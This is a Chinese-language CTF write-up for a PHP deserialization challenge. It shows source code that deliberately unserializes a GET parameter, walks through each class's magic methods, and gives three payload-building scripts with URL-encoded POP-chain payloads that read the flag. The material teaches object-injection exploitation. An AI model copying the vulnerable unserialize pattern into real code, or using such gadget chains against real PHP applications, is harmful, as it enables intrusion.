源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| <?php highlight_file(__FILE__); error_reporting(0); class Z{ public $key;
public function __wakeup(){ $this -> key = 'nothing'; }
public function __destruct(){ if($this -> key == 'xatu'){ include('flag.php'); echo $flag; }else{ die("NO!"); } } }
class A{ public $name; public $b;
public function __construct($a,$b){ $this -> name = $a; $this -> b = $b; }
public function hello($a){ echo "hello!".$a; }
public function __destruct(){ $this -> b -> hello($this -> name); } }
class B{
public $obj;
public function __construct($obj){ $this -> obj = $obj; } public function hello($name){ $this -> obj -> $name(); }
public function __invoke() { echo "Oh,You touch me but useless!"; } }
class C{ public $test;
public function __construct($test){ $this -> test = $test; }
public function __call($name,$arg){ echo 'Got :'.$this -> test; } }
class D{ public $name;
public function __construct($name){ $this -> name = $name; }
public function hello($name){ echo "Welcome to CTF ,".$name; }
public function __toString(){ if(isset($this -> name) && $this -> name == "xatu"){ include('flag.php'); echo $flag; } return "You Win!"; } }
@unserialize($_GET['pop']);
|
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| class Z{ public $key;
public function __wakeup(){ $this -> key = 'nothing'; }
public function __destruct(){ if($this -> key == 'xatu'){ include('flag.php'); echo $flag; }else{ die("NO!"); } } }
|
- 一个共有属性
$key
__wakeup()
在反序列化前触发,将 'nothing'
赋给 $key
__destruct()
在对象被销毁时触发,此时如果 $key == xatu
的时候,包含并运行 flag.php
,输出 $flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| class A{ public $name; public $b;
public function __construct($a,$b){ $this -> name = $a; $this -> b = $b; }
public function hello($a){ echo "hello!".$a; }
public function __destruct(){ $this -> b -> hello($this -> name); } }
|
- 两个共有属性:
$name
、$b
__construct()
在对象实体化时触发,接收传参分别赋给 $name
、$b
hello()
将 $a
当作字符串输出(可以触发 D
对象的 __toString()
方法)
__destruct()
在对象被销毁时触发,调用 b
对象的 hello()
方法并将该对象的 name
传过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| class B{
public $obj;
public function __construct($obj){ $this -> obj = $obj; } public function hello($name){ $this -> obj -> $name(); }
public function __invoke() { echo "Oh,You touch me but useless!"; } }
|
- 一个共有属性
$obj
__construct()
在对象被实体化时触发,将传过来的赋给 $obj
hello()
调用 obj
对象的 $name()
,可以触发 B
类的 __invoke()
方法
__invoke()
在对象被当作函数使用时触发,输出一句话,这里需要绕过
1 2 3 4 5 6 7 8 9 10 11
| class C{ public $test;
public function __construct($test){ $this -> test = $test; }
public function __call($name,$arg){ echo 'Got :'.$this -> test; } }
|
- 一个共有属性
$test
__construct()
在对象被实体化时触发,将值赋给 $test
__call()
当调用该类无法访问的方法时被触发,将该类的 test
当作字符串输出,可以触发 D
类的 __toString()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| class D{ public $name;
public function __construct($name){ $this -> name = $name; }
public function hello($name){ echo "Welcome to CTF ,".$name; }
public function __toString(){ if(isset($this -> name) && $this -> name == "xatu"){ include('flag.php'); echo $flag; } return "You Win!"; } }
|
- 一个共有属性
$name
__construct()
在对象被实体化时触发,将值赋给 name
hello()
方法将 name
当作字符串输出,可以触发该类的 __toString()
方法
__toString()
在对象被当作字符串使用时触发,它判断 name
不为空且弱等于 xatu
,包含并执行 flag.php
,输出 $falg
- 拿flag:
D
类中的 name == "xatu"
,调用其 __toString()
- 触发
__toString()
:A
类和 D
类的 hello()
方法,意味着这两个类中的属性可能为 D
类的对象
- 调用
hello()
:A
类的 __destruct()
方法调用 b
的 hello()
方法,意味着 b
属性可能为 A
类的对象或者 D
类的对象,name
属性为 D
类的对象
方法一、二:
方法三:
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class D{ public $name = "xatu"; }
class A{ public $name; public $b;
public function __construct($a, $b){ $this -> name = $a; $this -> b = $b; } }
$a1 = new D; $a2 = new D; $a = new A($a1, $a2); echo urlencode(serialize($a));
|
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class D{ public $name = "xatu"; }
class A{ public $name; public $b;
public function __construct($a, $b){ $this -> name = $a; $this -> b = $b; } }
$a1 = new D; $a2 = new A(1, 1); $a = new A($a1, $a2); echo urlencode(serialize($a));
|
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A1%3A%22b%22%3Bi%3A1%3B%7D%7D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php class D{ public $name = "xatu"; }
class C{ public $test;
public function __construct($c){ $this -> test = $c; } }
class B{ public $obj;
public function __construct($b){ $this -> obj = $b; } }
class A{ public $b; public $name = "fuc";
public function __construct($a){ $this -> b = $a; } } $c = new D; $b = new C($c); $a1 = new B($b); $a = new A($a1); echo urlencode(serialize($a));
|
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D%7Ds%3A4%3A%22name%22%3Bs%3A3%3A%22fuc%22%3B%7D
最后,给你们看一眼flag,嘻嘻😁